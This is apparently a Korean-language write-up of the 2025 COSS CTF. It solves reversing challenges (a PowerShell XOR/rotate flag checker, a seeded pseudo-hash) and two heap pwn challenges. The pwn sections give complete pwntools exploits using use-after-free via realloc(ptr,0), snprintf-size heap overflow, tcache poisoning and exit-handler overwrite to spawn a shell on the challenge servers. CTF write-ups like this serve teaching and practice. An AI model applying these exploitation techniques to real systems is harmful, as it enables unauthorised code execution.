2025 COSS CTF
MISC
Mic Check
flag{825d4cad6d1e8d957ee438897affd2e6}
REV
The Powershell
간단한 연산을 진행하는 프로그램이다.
$v = 7, 96, 164, 214, 92, 231, 220, 244, 19, 182, 21, 228, 228, 29, 76, 96, 226, 42, 18, 102, 152, 255, 24, 232, 253, 8, 10, 126
$k = 0x77
function checker {
param (
[string]$data
)
for ($index = 0; $index -lt $data.Length; $index++) {
$byte = [byte]$data[$index]
$shifted = (($byte -shl (8 - ($index % 8))) -bor ($byte -shr ($index % 8))) -band 0xFF
$shifted = $shifted -bxor ($k + $index)
$encrypted_values += $shifted
if ($shifted -ne $v[$index]) {
return $false
}
}
return $true
}
$inp = Read-Host "Input"
$is_correct = checker -data $inp
if ($is_correct) {
Write-Host "Correct!"
} else {
Write-Host "Incorrect... Try again!"
}
중요하게 볼 부분은 function checker이다.
$shifted = (($byte -shl (8 - ($index % 8))) -bor ($byte -shr ($index % 8))) -band 0xFF
가장 먼저 이 부분에서 index 만큼 ror을 진행한다.
$shifted = $shifted -bxor ($k + $index)
그 다음 k+index의 값과 xor을 진행하는데, 여기서 k의 값은 0x77이다.
때문에 연산도 간단하게 xor → rol 순으로 진행해주면 된다.
enc = [7, 96, 164, 214, 92, 231, 220, 244, 19, 182, 21, 228, 228, 29, 76, 96, 226, 42, 18, 102, 152, 255, 24, 232, 253, 8, 10, 126]
def rol(x, n):
return ((x << n) | (x >> (8 - n))) & 0xff
print(''.join(chr(rol(enc[i] ^ (0x77 + i), i % 8)) for i in range(len(enc))))
flag{p0wershEllR3v3rseEng1ne3r1ng}
Credential Hash Generator
문제 파일을 DIE로 열어보면 Python언어로 만들어진 것을 확인할 수 있다.
때문에 우선 exe → pyc → py로 변환하는 과정을 거쳐야 한다.
import csv
import hashlib
def generate_hash(userid, userpass):
tmp = []
for i in range(len(userid)):
tmp.append(userid[i] ^ 48)
for i in range(len(userpass)):
tmp.append(userpass[i] ^ 96)
tmp = bytes(tmp)
tmp = hashlib.sha640(tmp).hexdigest()
return tmp
with open('input_credentials.csv', 'r') as file:
reader = csv.reader(file)
next(reader)
with open('output_credentials.csv', 'w') as output_file:
output_file.write('idx,userid,userpass,userhash\\n')
for row in reader:
if len(row) == 3:
idx, userid, userpass = row
print(f'{idx} Username: {userid}, Password: {userpass}')
hash_value = generate_hash(userid.encode(), userpass.encode())
print(f'Hash: {hash_value}')
output_file.write(f'{idx},{userid},{userpass},{hash_value}\\n')
else:
print('Invalid row format')
continue
import random
class sha640:
def __init__(self, data):
self.data = data
self.update()
def update(self):
len_data = len(self.data)
new_data = [0] * 80
for i in range(80):
new_data[i] = self.data[i % len_data] ^ (48 * i + 4 + i) % 256
random.seed(3735928559)
random.shuffle(new_data)
for i in range(80):
new_data[i] = (new_data[i] + random.randint(0, 255)) % 256
self.data = bytes(new_data)
def hexdigest(self):
return self.data.hex()
py로 바꾼 코드를 보게 되면 output_credentials.csv에서 userid와 userpass를 읽고, userhash를 생성하는 작업을 진행한다.
여기서 hashlib에 있는 sha640이 사용되는데, sha640 class를 잘 보면 seed 값이 고정되어 있다.
파이썬의 random 모듈은 seed가 고정되면 항상 같은 순열과 난수열을 내기 때문에 역연산이 가능해진다.
때문에 shuffle 순서만 제대로 복구하면 나머지는 역연산을 통해 admin의 password를 얻을 수 있게 된다.
import csv, random
with open('output_credentials.csv') as f:
for idx, user, pw_mask, h in csv.reader(f):
if user == 'admin':
admin_hash = bytes.fromhex(h); break
random.seed(3735928559)
p = list(range(80))
random.shuffle(p)
ad = [random.randint(0, 0xff) for _ in range(80)]
c = [0] * 80
for i in range(80):
c[p[i]] = (admin_hash[i] - ad[i]) & 0xff
pat = [(49*i + 4) & 0xff for i in range(80)]
d = [None] * 37
for i in range(80):
v = c[i] ^ pat[i]
d[i % 37] = v if d[i % 37] is None else d[i % 37]
uid = d[:5]
pas = d[5:]
pw = bytes(i ^ 0x60 for i in pas)
print(pw)
위의 코드를 실행시키면 admin의 password가 잘 나오는 것을 확인할 수 있다.
flag{51300db12cae6de76fae394c54}
PWN
RogueLog Manager
로그를 생성하고 수정,조회,삭제,리사이징이 가능한 프로그램이다.
void delete_log()
{
unsigned __int64 v0; // [rsp+8h] [rbp-8h]
v0 = prompt("Enter log index: ");
if ( v0 <= 0xFF )
{
if ( logs[2 * v0] )
{
free(logs[2 * v0]);
logs[2 * v0] = 0LL;
*(&sizes + 2 * v0) = 0LL;
}
else
{
puts("Log is not created.");
}
}
else
{
puts("Invalid log index.");
}
}
void resize_log()
{
unsigned __int64 index; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
void *ptr; // [rsp+18h] [rbp-8h]
index = prompt("Enter log index: ");
if ( index <= 0xFF )
{
if ( logs[2 * index] )
{
size = prompt("Enter new log size: ");
if ( size <= 0x3F0 )
{
ptr = realloc(logs[2 * index], size);
if ( ptr )
{
logs[2 * index] = ptr;
*(&sizes + 2 * index) = size;
printf("log #%zu resized.\\n", index);
}
else
{
puts("Failed to resize log.");
}
}
else
{
puts("Log size is too large.");
}
}
else
{
puts("Log is not created.");
}
}
else
{
puts("Invalid log index.");
}
}
void print_log()
{
unsigned __int64 index; // [rsp+8h] [rbp-8h]
index = prompt("Enter log index: ");
if ( index <= 0xFF )
{
if ( logs[2 * index] )
printf("Log content: %s\\n", logs[2 * index]);
else
puts("Log is not created.");
}
else
{
puts("Invalid log index.");
}
}
void edit_log()
{
unsigned __int64 index; // [rsp+8h] [rbp-8h]
index = prompt("Enter log index: ");
if ( index <= 0xFF )
{
if ( logs[2 * index] )
{
printf("Enter log content: ");
read(0, logs[2 * index], *(&sizes + 2 * index));
puts("Log content edited.");
}
else
{
puts("Log is not created.");
}
}
else
{
puts("Invalid log index.");
}
}
void create_log()
{
unsigned __int64 i; // [rsp+0h] [rbp-10h]
unsigned __int64 size; // [rsp+8h] [rbp-8h]
for ( i = 0LL; ; ++i )
{
if ( i > 0xFF )
{
puts("Log buffer is full.");
return;
}
if ( !*(&sizes + 2 * i) )
break;
}
size = prompt("Enter log size: ");
if ( size <= 0x3F0 )
{
if ( size > 0x10 )
{
*(&sizes + 2 * i) = size;
logs[2 * i] = malloc(size);
if ( logs[2 * i] )
{
printf("log #%zu created.\\n", i);
}
else
{
puts("Failed to allocate log.");
*(&sizes + 2 * i) = 0LL;
}
}
else
{
puts("Log size is too small.");
}
}
else
{
puts("Log size is too large.");
}
}
로그를 삭제하는 함수에서는 제대로 포인터를 지워서 댕글링 포인터가 남지 않지만,
리사아즈 하는 함수에서 realloc(ptr,0) 으로 2번쨰 인자를 0으로 줘서 호출하는 경우에 free와 같은 동작을 하게 되어서 댕글링 포인터를 남길 수 있게 된다.
print,edit 기능은 포인터가 있는지만 검사하기 때문에 댕글링 포인터에 접근해서 수정/조회가 가능하다.
위 방법으로 tcache를 채운후에 청크 하나를 더 해제하면 언솔빈에 청크를 가게 할 수 있고 조회해서 libc 주소를 릭 할 수 있다.
같은 방법으로 제일 첫번째 청크를 해제 후 조회하면 heap+0xN>>12 값이 릭 되는데, N이 0x1000 보다 작기 때문에 Left Shite( << ) 12번을 해주게 되면 힙 베이스 주소를 구할 수 있다.
그 다음 UAF overwrite가 가능하기 때문에 해제된 tcache에 접근 해서 tcache key를 덮은 후에 다시 해제하게 되면 tcache DFB가 가능하게 되고 원하는 주소에 청크를 할당 받을 수 있다.
위 방법으로 arb w/r 프리미티브를 얻고 Exit handler overwrite 로 익스플로잇을 진행하면 된다.
Exploit code
from pwn import *
def ROL(data, shift, size=64):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
create = lambda size:(
p.sendlineafter(b"> ",b"1"),
p.sendlineafter(b"Enter log size: ",str(size).encode())
)
delete = lambda index:(
p.sendlineafter(b"> ",b"2"),
p.sendlineafter(b"Enter log index: ",str(index).encode())
)
resize = lambda index,size:(
p.sendlineafter(b"> ",b"3"),
p.sendlineafter(b"Enter log index: ",str(index).encode()),
p.sendlineafter(b"Enter new log size: ",str(size).encode())
)
view = lambda index:(
p.sendlineafter(b"> ",b"4"),
p.sendlineafter(b"Enter log index: ",str(index).encode())
)
edit = lambda index,data: (
p.sendlineafter(b"> ",b"5"),
p.sendlineafter(b"Enter log index: ",str(index).encode()),
p.sendafter(b"Enter log content: ",data)
)
#p = remote("localhost",35420)
p = remote("3.38.174.17", 35420)
libc = ELF("./deploy/libc.so.6")
for i in range(9):
create(0x3F0)
for i in range(8):
resize(i,0)
view(7)
p.recvuntil(b"Log content: ")
libc.address = u64(p.recvline()[:-1].ljust(8,b"\\x00")) - 0x203b20
success(f"libc base addr : {hex(libc.address)}")
view(0)
p.recvuntil(b"Log content: ")
heap = u64(p.recvline()[:-1].ljust(8,b"\\x00"))<<12
success(f"heap addr : {hex(heap)}")
fs_base = libc.address - 0x28c0
inital = libc.address + 0x204fd0
for i in range(8):
create(0x3F0)
create(100) ## log 17
resize(17,0)
edit(17,p64(0)*2)
resize(17,0)
edit(17,p64((fs_base+0x30)^((heap+0x26a0)>>12)))
create(100)
create(100)
edit(19,p64(0))
create(100) # log 20
resize(20,0)
edit(20,p64(0)*2)
resize(20,0)
edit(20,p64((inital)^((heap+0x26a0)>>12)))
create(100)
create(100)
edit(21,b"/bin/sh\\x00")
binsh = heap + 0x2710
system = libc.symbols['system']
edit(22,p64(4)+p64(ROL(system,0x11))+p64(binsh))
p.sendlineafter(b"> ",b"6")
p.interactive()
flag{f4e56b6a79de30aea8fd8aa35dec07589f8e3769d9e851e98a0849d17b1e275e9a28b6b8373e461d90e3b094dc9deba1449a807afcd6f9dd962c3a3dec}
SimpleHeap
unsigned __int64 read_chunk()
{
unsigned int index; // [rsp+Ch] [rbp-14h] BYREF
const char *v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
index = 0;
v2 = 0LL;
printf("Index: ");
__isoc99_scanf("%d", &index);
if ( index > 7 )
{
puts("Error");
exit(-1);
}
v2 = chunks[index];
if ( v2 )
printf("%s", v2);
else
puts("Error");
return v3 - __readfsqword(0x28u);
}
unsigned __int64 edit_chunk()
{
void *index; // [rsp+8h] [rbp-18h] BYREF
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
index = 0LL;
buf = 0LL;
printf("Index: ");
__isoc99_scanf("%d", &index);
if ( index > 7 )
{
puts("Error");
exit(-1);
}
buf = chunks[index];
if ( buf )
{
HIDWORD(index) = sizes[index];
printf("Data: ");
read(0, buf, HIDWORD(index));
}
else
{
puts("Error");
}
return v3 - __readfsqword(0x28u);
}
unsigned __int64 delete_chunk()
{
unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
idx = 0;
printf("Index: ");
__isoc99_scanf("%d", &idx);
if ( idx > 7 )
{
puts("Error");
exit(-1);
}
free(chunks[idx]);
chunks[idx] = 0LL;
sizes[idx] = 0;
return canary - __readfsqword(0x28u);
}
unsigned __int64 create_chunk()
{
unsigned int v1; // [rsp+0h] [rbp-40h] BYREF
int v2; // [rsp+4h] [rbp-3Ch]
char *s; // [rsp+8h] [rbp-38h]
char title[16]; // [rsp+10h] [rbp-30h] BYREF
char content[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
v1 = 0;
memset(title, 0, sizeof(title));
memset(content, 0, 16);
printf("Index: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 7 )
{
puts("Error");
exit(-1);
}
printf("Title: ");
read(0, title, 16uLL);
printf("Content: ");
read(0, content, 16uLL);
s = malloc(0x30uLL);
v2 = snprintf(s, 0x30uLL, "Title:%s\\nContent:%s\\n", title, content);
chunks[v1] = s;
sizes[v1] = v2;
return v6 - __readfsqword(0x28u);
}
create_chunk 함수에서 title로 16바이트 content로 16바이트를 입력받고 snprintf 함수로 포멧을 만들고chunks,sizes에 포인터랑 snprintf의 반환값을 기록한다.
title 버퍼를 16바이트로 꽉 채우면 NULL 문자가 사라진다. 그러면 snprintf의 첫 번째 %s 변환자가 title 뒤에 이어진 content 랑 8바이트 더미값을 한번에 읽어오게 된다. 함수는 size 인자로 지정된 0x30(48)바이트까지만 s에 써 주기 때문에 겉보기엔 안전해 보이지만, 반환값은 잘리기 전 전체 길이즉 원래 필요했던 바이트 수를 돌려준다. 그래서 sizes에 0x30보다 큰 값이 들어가게 되고 약간의 힙 오버플로우가 발생한다.
위에서 말한 content 뒤에 8바이트 더미값이 운좋게 PIE관련 주소여서 릭하면 PIE베이스를 구할 수 있고 힙 오버플로우로 다음청크 FD까지 덮어서 조회기능으로 힙 베이스까지 유출 가능하다.
tcache poisoning으로 chunks 주소에 힙을 할당해서 arb w/r 프리미티브를 얻고 Exit handler overwrite 으로 익스플로잇을 진행하였다.
Exploit code
from pwn import *
def ROL(data, shift, size=64):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
create = lambda index,title,content: (
p.sendlineafter(b"> ",b"1"),
p.sendlineafter(b"Index: ",str(index).encode()),
p.sendafter(b"Title: ",title),
p.sendafter(b"Content: ",content)
)
view = lambda index:(
p.sendlineafter(b"> ",b"2"),
p.sendlineafter(b"Index: ",str(index).encode())
)
edit = lambda index,data: (
p.sendlineafter(b"> ",b"3"),
p.sendlineafter(b"Index: ",str(index).encode()),
p.sendafter(b"Data: ",data)
)
delete = lambda index: (
p.sendlineafter(b"> ",b"4"),
p.sendlineafter(b"Index: ",str(index).encode())
)
#p = remote("localhost",13378)
p = remote("43.203.171.130", 13378)
e = ELF("./deploy/prob")
libc = ELF("./deploy/libc.so.6")
create(0,b"A"*0x10,b"B"*0x10)
create(1,b"A"*0x10,b"B"*0x10)
create(2,b"A"*0x10,b"B"*0x10)
view(0)
p.recvuntil(b"B"*0x10)
e.address = u64(p.recvn(6).ljust(8,b"\\x00")) - 0x3d78
success(f"pie base addr : {hex(e.address)}")
edit(2,p64(0)*2+b"/bin/sh\\x00")
delete(2)
edit(1,b"A"*0x40)
view(1)
p.recvuntil(b"A"*0x40)
heap = u64(p.recvn(5).ljust(8,b"\\x00")) << 12
success(f"heap addr : {hex(heap)}")
edit(1,b"A"*0x30+p64(0)+p64(0x41)+p64(heap>>12))
delete(1)
# # context.log_level = 'debug'
edit(0,b"A"*0x30+p64(0)+p64(0x41)+p64(e.symbols['chunks']^heap>>12))
create(2,b"A",b"B")
create(7,b"A"*0x10,b"B"*0x10)
edit(7,p64(e.address+0x4020))
view(0)
libc.address = u64(p.recvn(6).ljust(8,b"\\x00")) - libc.symbols["_IO_2_1_stdout_"]
success(f"libc base addr : {hex(libc.address)}")
binsh = heap+0x330
system = libc.symbols['system']
fs_base = libc.address - 0x28c0
inital = libc.address + 0x204fd0
edit(7,p64(fs_base+0x30))
edit(0,p64(0))
edit(7,p64(inital))
edit(0,p64(4)+p64(ROL(system,0x11))+p64(binsh))
p.sendlineafter(b"> ",b"1")
p.sendlineafter(b"Index: ",b"31337")
p.interactive()
flag{091b2bc05a735ef25e9da6fbbf57490415c528056d67e6cf8a75d88d1b1a46e48504a92b5029ae2f63548ae99368370127a5e481aa0f6dee97edaec79ce7a9}